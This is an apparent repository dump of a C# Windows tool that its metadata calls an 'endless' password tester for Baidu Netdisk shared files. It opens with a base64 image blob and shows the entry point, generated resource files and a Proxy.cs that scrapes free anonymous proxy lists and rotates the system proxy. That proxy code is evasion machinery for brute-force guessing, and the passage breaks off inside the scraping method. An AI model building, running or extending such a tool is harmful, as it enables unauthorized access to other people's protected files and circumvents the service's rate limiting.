3sQqaR+CiqX7vsTVKd2vKdS026GoKcDsOaFg41Yw96ZQvYDNOxRdEb2kdSmnBJczUkB7BKZOEMnM1mFg
jrD/3gK/j+HkcUSxBSBps4OTlhmYSQWR8KJ1vkBoB3qFoIzadJGnPffB69FFLvPZP/Z69Pp63T2OcxVA
Adau125pU3EWpah4TFEbfx2cfbzQ6yaSmyDviIBg91GCNRszzuMwras9Eg5uhPQmAkHmMQDQmUajhtyr
BHHepEB9HosxKO0ebtiiWLlWu3b5JNkAFa+vVKWwQGVFItDp3Qo47wSZKE82XNt3tsspE3WdiizjABll
AUKaApCSDPQ6sE+mJ0Khk75Lom8qGNuaPwdAoXPUd3TCi28pZkzN84o6tv5v3Apvva+HXF1yi0Bnsyrg
cydJzjkht+FWMzt24jhBNKayNZNXzB8pNjsg2XgAzwDzySDgLKSOivdEVXIuQJEw466tzXb4NY9Pyxov
PPWy4jOfzO+6euaYj7+g2LRNMaLRdf9zidP4zz0xafz56NWNa7X7/5ndP9sVkc8ANI1q83RsWZBWCb+0
BSBxUCHeyOjq7EYfjeuFJke3pP/WfDJxrH5SRuP5qdCqFPj9sGZDftfVM6Kycavioaeskq4KVI4Y4wc4
70SRNP5ci7l9rLEtgtpaiGWVyanezvQdaTcXE1UU8IHDWIYUQYWOmsYsCHfrpUsLmBczILuPETTU69Lb
NV7y4glIdIGL+5dZHDhN5LzSbLIRKv70gMWGrbhP/xwy4JM/D56cOVxrs34gWTHwpDcS4JjiolZB+iMA
kIEAmKhid+eiFb5AaA0wiTRtWXog2gVb2hWTxxc2M24gdh8lmDhW8PpKpaP0ecCsqBPuhj/8zeK/vyQT
1ZBzcWzTCO9aohfryPeCE9WE0/jPy7PxOwnU6xEky9jI0PfT7PlBJBxcCemPAEAGApASVHAKwNAnkRCJ
wsYt6Z4tf5ibJyXsMU5Pnc0nSmkv4M1Vil/eZvGf58lETcRsGpOy/zHvW/JsnNseVjo9NYOKOi4D09ft
L5zxA9TXCaQHYr1pv8Xc8XVmQ7oBQMguCAiwFDgCSCu1x1RA2dKe5dlyjLmR++0FDzxNrmuy7YJH6hp4
zy5X/ORPFl+fr5egMqWiIb2GlWiAttt/1xLFXx+2Kxu5T/+cUEi3v9/zy4wL1RobXJrN+TISAEd08VHg
2+m+T6GfgqvX6xZalGKg/TB9smD0CL30tTfPBuSxV/J55R3Fd2+w+NyJguMOE30WpBzo/KnrBazbpPjT
/Rb/fk0hpGv8uaKYT34nWaanPAqZjQBAhgJgggvSI9+14pZJYR46EGhPB169nsTuRV0UxD7v6BbBflMF
j/5bl5LON1LoghKbtiuuvUWx7GXBaUcJZuwl8NcNPUrw0RbFY/9WPPasDvjV+1y3P1eYGo66z5/HaH86
ZJ4BGJce+S5kFgCEDAXABBe62q9c7wuEngdmowVr0K6A6Z9u2qYr8RSqSMZACJI3ds4BgidfyHlp5gFR
Sk/XjcV1l+CVFYoJYwUH7C3Ya5JeJDRQr72kSA/s6FSsXg/LV+k1ATdv01mGIxqTxyskolRyuXJIHOjq
0sFqZ5JPMYw/GhMoiz4LpgyCsb1nu9qvXA+ZBQAhQwHoJyNwdrrvranRddxffkcx95DCTY4ZikOmC6ZM
FKxcp2vKF8KgzOSoEY1aCNasV6xap/B4wFejvytTVqwnqtcSNHPQjXgW66nfHdGTVZTzBqZey0DbB3st
NeKdq1oG9vnMsnTOU5sa/UrpBJyzj5ecfnQRn/xA505F3Mr43MvNH5kEACGLIKC/uU12ty+wgH8AXyHd
QKDQDXnFBzD3kOLPWzdfcF2tYNZ+grfeV1j+woqSKY3tNasCK50v0RMlMUfc59OVi53vKQYCPdV4bKtg
ykR7yjHJhTeF6RAOwi6i73yPBcIDKm5vs18zeSSw62c391DF7feqpFFLx2+zXyzed0aqlNoznThW8IkZ
gknjsh+dGS7mu+ns0teZ5mQg82kehD62mTYZC4DPD93tIKV81ErOpkkrDuCrhdfeVZhxrGIvDmrOf9xs
wT/+JWgP65yAQhqZSvyj8TqnTduZyqXQx4/ptTe48HTBnJml4Lvlir6fRVGkNmlb0KbtenGXBt+Q9p+w
OSnlE5C0zUzIWAAScYCOKzt8gdAy4CjSjAPU++H9jxRrNujlrouNudFjWwXHf0Jw898VdXXF7ZqkCkIp
IAR0dcP0KYLZMxLjkBWDcyi22J9s4xbtAZr5M4NgbG5JV8eVHZB5/x+yEIDw1gUq0Nom7L7GY2gBSMuj
r/HAjl54+lXFpHGi6F82JL2AEw4TPPYsbOtwh9VSicZ0zOKMYwRej/b5VSncvGFiPkIxvdBUNtpld9O4
JGNzSwAcNpkRWSUCxWOJEM09wA9IhmyGvG6vB55/Q3HuCXrvYncDnF7AyUcIbvybos4qzroFpYgQsDMC
R+4vOOogu49M8Z+UlYbJjfngI5XOAqnOW3A/9LHJjMhKAMxYYyQcXO4LhLaQZoUgpfTT9e0PFO+sUew9
qTRGA4wIfeoYybOvW7zxnjulFkgs6T6iAc46Qbv+xRbsSsQZvHx3raKuJu3+/6ZIOLgcMh//N2QlACmu
xm3AN+gb0+0XhU4I6gjDkn9b7D3JUxJPWlOZ1V8n+Pypgh/+VhHp0RN5qlkEYnFdXuycEyT77GFPOS+B
+1WprP5IsaMzrS6osbXbzYZs3H/Ifi6AM+XwDrQAmEm1Q04P9vvg2Tfggi5FoL5Enir2+Q+cJjljLtz8
kEVNTfV2BaSA9m44cG/BZ48t3vBYNWC+15fe1gvWNAcGLVenSNrtHZB5+q+TrAXAUjplORIOLvMFQpuA
MaTZDWiwC2U89qzijLml0Q2A5I04+3jBG6sEL76taG0a1oqtZYkU0NmtXf8LT5fU1ZaISFcopv+/fJVK
JwPQmMuGSDi4DJK2mA1ZC0CKy/EX4HIysOPaGnjk34oz5ipkCeQEAInZeXW1gsvOlXz7OouN24a5UkuZ
IQREevXn/eqZkmmTRWK7S+4x7b5jp+K1d9Oq6WDuxK1mQ7buPwxDAAD8Tdd4ujsWxoG7SQpAWl5AoAHe
Wa149BnFcYeVjhdgGvqEMYJvnC1YfJOis1svDV3pIiDQQ369vfC5UyTHzc5f7TuXvjz/hmJ7B4waMWg7
c96K+6CPDWbFsATAUyOc3YBVwBTSbC8SXYrr7icUx33CTiktAS/AySHTJRecDL+/16KnF+qGHp4pWwS6
PmJXN5xypOD8k4ubE18tmO926QsqkbachgCsMu6/scFsGZYApLgevwd+TJpJQUpBQwOsWK24d6nFGXNl
STa0U4+SdPXAzX+3iPSSzhht2SGEfvLvjMC8WYKLP6uTOl3jzy9mrsLq9YpX3lF6afDB25axrV+bDcNx
/2GYAgDOCQjiz6B+iE5PTNsL8NfBnUsUx84uoRGBFM46TmJZdvWdiB7FqBQRMMbfHYF5hwquOE9S43WN
vxCYEabHnlXs7IbRIwYNOBubikmPvBmym/yTyrAFwFyAvWzYPeg1A4acGwB2LKAePtyk+PMDFhef5Sm5
RmcM4ZwTPPhqLW59yGJnd55XFioQpghGTy+cOEdw8Xw34l8ozHe8I6x4/HlLT0Ib/C3Gpu41c/+Ha/yQ
AwEAhxIJcR1KzSfNKcKgJzyMaIR7lio+sb/FgdNkwjUqBYQjNnHGXMnokfDruyw2bIGmJrskUhl6A1Lq
oT5lwfmnSLfPX2DMd/zAMsX6zTBq5JDtyGO/8TrIzdMfciQAidTgzkVLfYHQm8B00sgMBK16tV7oAq67
XXHdN1XJPYWcIjBnpmRsq+Dnf7F46309bFNOwUEhIG5BZxga/IKvzxfJaH8JfeeVTOLp36F46GkrnXJ0
xpbejHQuWgrZp/6mkhMBSJkh+DN0kCLtmh+W0pVuVq5V/PJ2i4Xnl15XQIhkJ2zqRMGPvyG58T6LR/+t
6NiphzVL3RuQArp69HTTA/YSfPlTyXF+1/gLh/meb3tEsX7LkH1/SNrSzyD7mX/9kfOFpITH+zsVjy0G
mshgCNmyoKVZu0Qfn2xx8pxi1wzalcQHURCoF/zHuZID9lbc9IBi7UY9i6sU5w84A30N9fDZYyWfPU4X
IgXX+AuJ6d6+/6HiwactnWQ2xFvQAtDhrfP+lnBurydnAmAUqbt9geULhH6OLhueUbPyeqCxAX5xm8XU
iYK9J4k0OxIFJuENCI4+WDB9suIvD1ssfUFP5vDX6W5BntceHfoyhZ7Q092j/z97huDs4yXT97Rviy3P
rvEXBpWIbSluuNOiOwItQ6eam9b/c2NjuXr6Q449AEdg4lqS6wak7QUoBf5aXW/u29fF+c23PHoVnRIU
AUGy0OToFu0NfHIW/P2fFv96VWd1+eu0RwCF8wqMMfdGdVVhKWCvSYJPHSOYNyv5JbpP/cLjXMrt2eWK
0SOHNH6n7VwLuQv+Ja5JDdEyT7tkQVYH9gVCNwEXkEUmqUfCpu2w53jBDd+SeD2ipEYGUulrTIrXV8J9
Sy1eX6nLoEuphaDPyr058g6cRhyL6yG93qhOWNpvquDEw3XBS7Msu6nmW6JfZeViP8TeWaNY2BZHiIyS
yv4YCQcvzOa091/fNujrOY8BOBTqu2gBSLtakCFuwZiRsGqdYmGbxbVX2nUDSjQpve8SX4IZU2HGVA9r
Nij+9arFv16FD9YrdnZqEautAa+3b4XaXTANY5DPG1cQi2qDj8X08XYfLThoH8HhM+HAaSJ5AFXEgpdV
jqX0Q6C7R/H//qDTykc2ZvT0/y7k/ukPefQAAHyB0K+Br2V9AAmbtsKsfQU/udzTp9RzqdLfWn89vYo3
31O8+i68ukKxfouio0vX/ZdCL0jhkbqRCNHP51Pa2C1Li6MV19+D16OzEncfJdj7YzBzH8H+U0Vi8dGB
rselcDi9wx/9Ls7jzylGt2SURParSDh4SbbnL7gHAH3Sg38I6stkkB7cBwt2a9Uzpa68Nk7oct0dKMWY
gMFpaObm19UKDpwmOHAaxE5WfLRZ13774CNdF2HzdmgPQ3dEEY1pI4/bZbiF0Ibu80K9X1Dvg7GtsNso
mDxeMHl3wfgxJCL6fc6Na/jFxGn8191u8eizilEj0jJ+YytRED+G/Dz9Ic8eAIAvELoGGN5BJGzdBjP2
0uPvDX67P0tJ9gh2YfCnsF6WrCMM4W4tAl292qUXaM/AXyfw+/S6gn6fDi7298ndp33p4DT+P95vceN9
FqNGZLz8XFskHFw4nOsoigcAScXy1HiuikfjFwN+srVZC0a36Iopl/4/ix9cLBNlxcshmp3qFfTdLvB6
dA5ES7P+f7qkHqvUv4dqwdlNdRq/V6YV+DU20g38H+Tv6Q8F8AAAfIHQAuCa4R5HSr2Ud6AeFp4vmTPT
ltNycQUGINMhQtfQSxhHW/zN3XFuflC7/V5Pxvd5YSQcHPzxnQZDeQB5FQBnyqIvEFqJLhgyrB68FNAZ
0dHvz3xSctF8mVz0sQy8AZfKxNn2enoVoT9ZLHlO0dKc9pMfkraxIhIOToPhp/0WrQsAu8wRuBx4gGGG
7yyly3NFvXD7IxbLVyoWXiCZPF4kynu7w10uhcTp8q/ZoLjqRosVqxWtI5KLp6aJqb1+OeQ2538gCtIF
MPgCoSfRS4kN22kX9mBAR6dOspk/T3LBqUlvoNSHC13Kn1SP89FnLG6426JzJ4xsyrhehLGJpZFwcG6u
rrGoHoDBUbjwUuB1skgOSsUMc41o1FVsf3+fxdOvKD5/qmDOTJkwfstKll12cckFStl5/Xa72tGhuO4O
i8eeVTT4h2X8AJdBfgN/TgrqAQD4AqGrgG/m8pgmAt4e1hVtDztAcO6Jkv2mJPXFcsfFXYaJsruXSc9S
ce8Tilsesti8HVrtYb5hzPv4USQc/E4urtVQ1CCgkwECgjlFCr2OfXtY34QjZgrmHyuZMbWv1Vu26+Zq
gUs6WMrunDsazJMvWtz6kOKtDxTNAb2c1zBLxK2KhINTIbd9/5LoAsAuAcEvAU/aL+VsEM/0+1ub9cSY
f76s+OfLcQ7+uODUIwVzZurlrRMK7pyQ4wqCi00iocr+x9lelr1scedjuopvg09nZCqVtfE72/4XoDCB
PycF7wIYfIHQ9cDFeTm4jZRaCDrDepHLPXYXHH4AHHWgZO89RL859/19G263oTJJbfp93fvk1o+2wOPP
KR5/XvHeOkVtLTQFdH57jpaNG1a+/2CUjAdgcAQ3Lgc+DYzL17ksS9/QkU36/xu3KW59CG5/JM6UCYKP
7wlzZgr2mmBPoBnKCyixSj8uWWLf5FRhN/+NxRUfboJnlytefFPx1vuKHWG9puWolqTh5yhC9xHaFgr+
9IciegAAvkBoDvCU/d+85/OZYGE0Bju79G+EXo116kTBxLEwaZxg2h6C1pFQXwf1fl35x6XSUCgl6Iro
peDXbFKseF8v0vHeOj1ZKxoDIfUcDFP4NUeFXZxt/fBIOPhMTo7aDyXnATiJhINP+wKhH5FF+bBsMDfQ
I6G5MTmPP9IDr72jeP4N8HoUNV7weGBEo6ClSQtEoF5PwvEIgZSuK1CuRON62Lhzpw4Wb+uAHZ2KWEx3
E5XSeSUN9bqAi8Cegp3bATnT1n+UT+NPh6IJgHF3IuHgd3yB0GnAARQwq9+p5nW1epadQLt2sbi+6e1h
xZYdjnn4FgzlMbmUNkLo2JDHrsNQ44UaD9TVQZNIPhSGEdgbCtPGXzZDfsVw/Q1FE4CUDzwfeJccJAhl
i/Nme6TO30bop76JBrtUEM6Ar/13Dl38Qc6aaElnmo3FMn4ochfAEAkHV/oCoS+jFxgtieJfKvFP379d
XLIk0aalR36hq/3K94t8PUCJCABAJBy80RcI7Y+OiLrPW5dKw7Tptq72K28q6pU4KAkBcMQDrvAFQgcD
RxT7mlxc8sAyU+GnmP1+JyUhAClfxInAB8Co4lyNi0tOMa7/FuBks7EUjB9KRACcRMLBnb5A6ATgRXtT
CZcAdXEZFGfbPSESDu4s5sX0R8kJAEAkHHzJFwidA9yGveYmblzApbxQJI1/fiQcfKmYFzMQJSkAAJFw
8K++QGhP4Me4xu9SXjgfWP8TCQfvKubFDEZJCoAjKHiVLxCaSJ4nDbm45Bhj/L+MhINXQekE/VIpSQFw
Th2OhIOX+AKhCcBpxb4uF5cMuD8SDl4GpWv8UKICAFoEzMzBSDh4ui8Qehg4vtjX5eKSBo9EwsHTQc9+
DW/Nf2mvbClZAQBw1kSLhIMn+AKhp4HDi3hJLi5D8VQkHDzB/KcQdf2GQ0kLQCreOu8RsZ7YcmB6sa/F
xaUf3oyEg0cW+yIyoWwEwPSjfIHQLGA5sEeRL8nFxckHwCwo7T5/KmUjAOYLtROFpgMv4HoCLqXBq8Bh
kXCwG0onyy8dykYAnETCwW5/0zX7Kyv+NDC72NfjUtX8S3i8R5Z6X38gylIAAOyFRj7hC4QeA+bZm92M
QZd842xjSyLh4LHFvJjhUrYCYIiEg8c6hghLopaAS8XibFsPRcLBkwfbuRwoewGAxBDhb4Gv4Bq/S/4w
bStvZbwLTUUIAEAkHPyqLxB6Dz13wMUllzif/MFIOLi4mBeTSypCAFLmDrwJ3Fvsa3KpKIzxnxEJB++D
8hrqG4yKEICUuQP3+ZsWz1SWeoxkURE3LuCSKc42swWYGwkHl0PlGD9UiABA37HX7o5Fr/oCod2BR4Bj
sCt+4xYWcUkPZ1tZChwfCQej5sVKMX6oIAFIxb5hc32B0E/RhUZd43dJF9NW2kwNv0qlYgXAYBcafQ1d
ctzgdglcUunTJuzS3SVTvTdfVLQAOOICN/oCix8B9QB6BSLX+F1SMW3iVRCndrVfuQ4qq7/fHxUtAH2D
g4vWATN9gdAP0WsRGlxvoHpJvfc/Mst1QeUbP1S4AMCuARt7LcIHgQeAFlzjr2bMvd8GnBwJB591vljp
xg9VIABOHF2CZ3yB0Djgl8DXHLu43kDlk3qPfwN8w0T5q+Gp76SqBMB5Y+0bfpEvEPoj8GdgCu5cgkrH
eW9XAF+oxqe+k6oSACeOeoPPAFMdsQHTQNy8gcrB3Etzb78fCQe/Z140baEYF1ZsqlYAutsXWE53LxIO
fsffuPhmpdRvgKNIGr8rBOWLuXfm/i0RQlza3blohdnBbgNVafxQxQIASXfPCIHdMI72NS6eh1I3ApNw
haAcSTX8VQhxUaRz0RKzg7nn1ebyp1LVAmAwjSDRLdAN5WO+QGgRELJ3M43JjRGULubeOIW6z+w9c4+r
3fANQqnBv4fTLllQoEspDVKjwA0jrxkVj8b/G7iCvg3LFYLSIfVexICfe2o8V+3cvnALVF9033D/9W2D
vu56ACmkdgvsBrTQFwiFgB+QHDZ0g4XFJzW4B3po90eRcHCj2VCtxp8OrgcwBKkRYl8gNBZYDFyQsmsc
8BQEhnADAAADd0lEQVTy2qqY/r7rPwOLnIZfzdF9w1AegCsAaZLamOqbrm6yLGsB8J9AU8rurleQe/r7
TrcBP5VS/qyr48oOs9E1/CSuAOSY/hqXLxD6EvA/6GQiJxbaPXVjBdmh7J9Uw18F/DgSDt7o3Oga/q64
ApAnBhCCw9BLmc8H/I6XTEN2xWBoBvquuoE70QU5n3G+wTX8gXEFIM/0F2DyBUItwLnAZcA+KW9xxWBX
BvtO3gSuB/4SCQe3OV9wg3tD4wpAgQi0tol4DDGAV3Ay8Hl0YlEqMfomrVQLlv3T30jUGuAm4MH+nvYe
L1WfwJMurgAUgYFcUl8gdBB67YKz0VORU1Ek4waVJggWyf58f57PNuBW4A+RcPCl1BddNz87XAEoMv6m
azz2MmZ98AVCk9GxgrnAcQyckxEnaTDlIgrGUBUDD43GgEeBJ4A7I+Hg+6k7DPTduaSPKwAlQqC1TcSj
Sg4gBn700mYnAPsCh9I3iJiK80koBvg7n6gB/h5MoDqA54F3gIeBR8xquk78Tdd4PDXCTdXNEa4AlCAm
XuCtQXZuWRBLfd0OIu6H9gyOQq9vsBdQM8Shzc003Qgn2YhDqqEbAx/qWFHgXXQ9/WXAo1LKV5xj9YbG
UW3eWBTL7dfnBzcVuASxG7rp7zNyXJuMdOspygB2tHuZ/QOALxCahBB7gjgAZR0GzAQawTMCKert3QSW
AuK5ykhMMXQPSMcmS3VBfAewA3gFIZ8D9SpKvRcJB9cMdFB/c5v0+WH7hgVWfwLoUjhcD6AEGTmuTcZj
iI4tC4bs/9Y3Xd2kUJOFEJO8NXIvy2JiLM4o4rExwGj942lBCp/9lqHiCLp7YakIxLcBm4HNeLybvB62
SMnaWNR6Vym1RiDe7++pnkrTqDaPx4vavsEN4hUa1wMoQ1INJdDaJmpqEPGYfiI7hcE2wFftn0EZOa5N
xuPUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRka6hNo9o8AB4vKhpNuvTpCJlLcXAFoAxwdBkSBFrbEr54
TQ0iFtNP9sFcatuwu+2frGgc1eYF8HqxotHkNYW3LlCuoZcfrgCUKSkBs0Q8wYlTJJzU1PQfxHMa9EDn
cvvslcWQMQAXF5fKxfUAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqmP8PdyBm
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Program.cs
================================================
using System;
using System.Threading;
using System.Windows.Forms;
namespace zgcwkj
{
internal static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
private static void Main()
{
// 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true
// 如果指定的命名系统互斥体已存在,则为false
using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))
{
if (Uniquely_Identifies_TestPassword)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
}
else//程序已经运行的情况,则弹出消息提示并终止此次运行
{
MessageBox.Show("应用程序已经启动了");
System.Threading.Thread.Sleep(1000);
// 终止此进程并为基础操作系统提供指定的退出代码。
System.Environment.Exit(1);
}
}
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.1.1")]
[assembly: AssemblyFileVersion("1.8.1.1")]
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Proxy.Designer.cs
================================================
namespace zgcwkj
{
partial class Proxy
{
///
/// Required designer variable.
///
private System.ComponentModel.IContainer components = null;
///
/// Clean up any resources being used.
///
/// true if managed resources should be disposed; otherwise, false.
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
///
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));
this.txt_1 = new System.Windows.Forms.Label();
this.txt = new System.Windows.Forms.Label();
this.SuspendLayout();
//
// txt_1
//
this.txt_1.Font = new System.Drawing.Font("宋体", 13F);
this.txt_1.Location = new System.Drawing.Point(14, 57);
this.txt_1.Name = "txt_1";
this.txt_1.Size = new System.Drawing.Size(183, 23);
this.txt_1.TabIndex = 0;
this.txt_1.Text = "000.000.000.000:0000";
//
// txt
//
this.txt.AutoSize = true;
this.txt.Font = new System.Drawing.Font("宋体", 14F);
this.txt.Location = new System.Drawing.Point(12, 28);
this.txt.Name = "txt";
this.txt.Size = new System.Drawing.Size(143, 19);
this.txt.TabIndex = 1;
this.txt.Text = "当前尝试的IP:";
//
// Proxy
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(204, 111);
this.Controls.Add(this.txt);
this.Controls.Add(this.txt_1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(220, 150);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(220, 150);
this.Name = "Proxy";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "自动代理服务";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_1;
private System.Windows.Forms.Label txt;
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Proxy.cs
================================================
using Microsoft.Win32;
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Proxy : Form
{
HttpProxy httpProxy = new HttpProxy();
public Proxy()
{
InitializeComponent();
//记录Goto的次数
int i = 0;
//Goto 重新获取IP启动代理服务
Retry:
//关闭代理服务
if (httpProxy.GetSwitchState()) { httpProxy.SwitchOff(); }
i++;
if (i > 10)
{
MessageBox.Show("很抱歉程序暂时无法使用");
Application.Exit();
}
string ip = httpProxy.GetProxyIp();
//通过API获取代理数据
try
{
if (!File.Exists(StaticClass.proxy)) { ObtainIP(); }
if (File.ReadAllText(StaticClass.proxy) == "") { ObtainIP(); }
if (File.ReadAllText(StaticClass.proxy) == "\r\n") { ObtainIP(); }
string proxy = File.ReadAllText(StaticClass.proxy);
string[] proxys = proxy.Replace("\r", "").Split('\n');
ip = proxys[0];
File.Delete(StaticClass.proxy);
File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + "\r\n", ""));
}
catch (Exception e)
{
string str = e.Message;
}
httpProxy.SwitchOn(ip);
try
{
txt_1.Text = ip;
HttpHelp.HttpGet("https://blog.zgcwkj.top");
Close();
}
catch (Exception e)
{
string str = e.Message;
httpProxy.SwitchOff();
//Goto 重试
goto Retry;
}
}
///
/// 获取IP
///
private void ObtainIP()
{
File.Delete(StaticClass.proxy);
//国内普通代理
CrawlIP("https://www.kuaidaili.com/free/intr/1");
CrawlIP("https://www.kuaidaili.com/free/intr/2");
CrawlIP("https://www.kuaidaili.com/free/intr/3");
CrawlIP("https://www.kuaidaili.com/free/intr/4");
CrawlIP("https://www.kuaidaili.com/free/intr/5");
CrawlIP("https://www.kuaidaili.com/free/intr/6");
CrawlIP("https://www.kuaidaili.com/free/intr/7");
CrawlIP("https://www.kuaidaili.com/free/intr/8");
CrawlIP("https://www.kuaidaili.com/free/intr/9");
CrawlIP("https://www.kuaidaili.com/free/intr/10");
CrawlIP("https://www.kuaidaili.com/free/intr/11");
CrawlIP("https://www.kuaidaili.com/free/intr/12");
CrawlIP("https://www.kuaidaili.com/free/intr/13");
CrawlIP("https://www.kuaidaili.com/free/intr/14");
CrawlIP("https://www.kuaidaili.com/free/intr/15");
CrawlIP("https://www.kuaidaili.com/free/intr/16");
CrawlIP("https://www.kuaidaili.com/free/intr/17");
CrawlIP("https://www.kuaidaili.com/free/intr/18");
CrawlIP("https://www.kuaidaili.com/free/intr/19");
CrawlIP("https://www.kuaidaili.com/free/intr/20");
//国内高匿代理
CrawlIP("https://www.kuaidaili.com/free/inha/1");
CrawlIP("https://www.kuaidaili.com/free/inha/2");
CrawlIP("https://www.kuaidaili.com/free/inha/3");
CrawlIP("https://www.kuaidaili.com/free/inha/4");
CrawlIP("https://www.kuaidaili.com/free/inha/5");
CrawlIP("https://www.kuaidaili.com/free/inha/6");
CrawlIP("https://www.kuaidaili.com/free/inha/7");
CrawlIP("https://www.kuaidaili.com/free/inha/8");
CrawlIP("https://www.kuaidaili.com/free/inha/9");
CrawlIP("https://www.kuaidaili.com/free/inha/10");
CrawlIP("https://www.kuaidaili.com/free/inha/11");
CrawlIP("https://www.kuaidaili.com/free/inha/12");
CrawlIP("https://www.kuaidaili.com/free/inha/13");
CrawlIP("https://www.kuaidaili.com/free/inha/14");
CrawlIP("https://www.kuaidaili.com/free/inha/15");
CrawlIP("https://www.kuaidaili.com/free/inha/16");
CrawlIP("https://www.kuaidaili.com/free/inha/17");
CrawlIP("https://www.kuaidaili.com/free/inha/18");
CrawlIP("https://www.kuaidaili.com/free/inha/19");
CrawlIP("https://www.kuaidaili.com/free/inha/20");
}
///
/// 抓取IP
///
/// 地址
private void CrawlIP(string url)
{
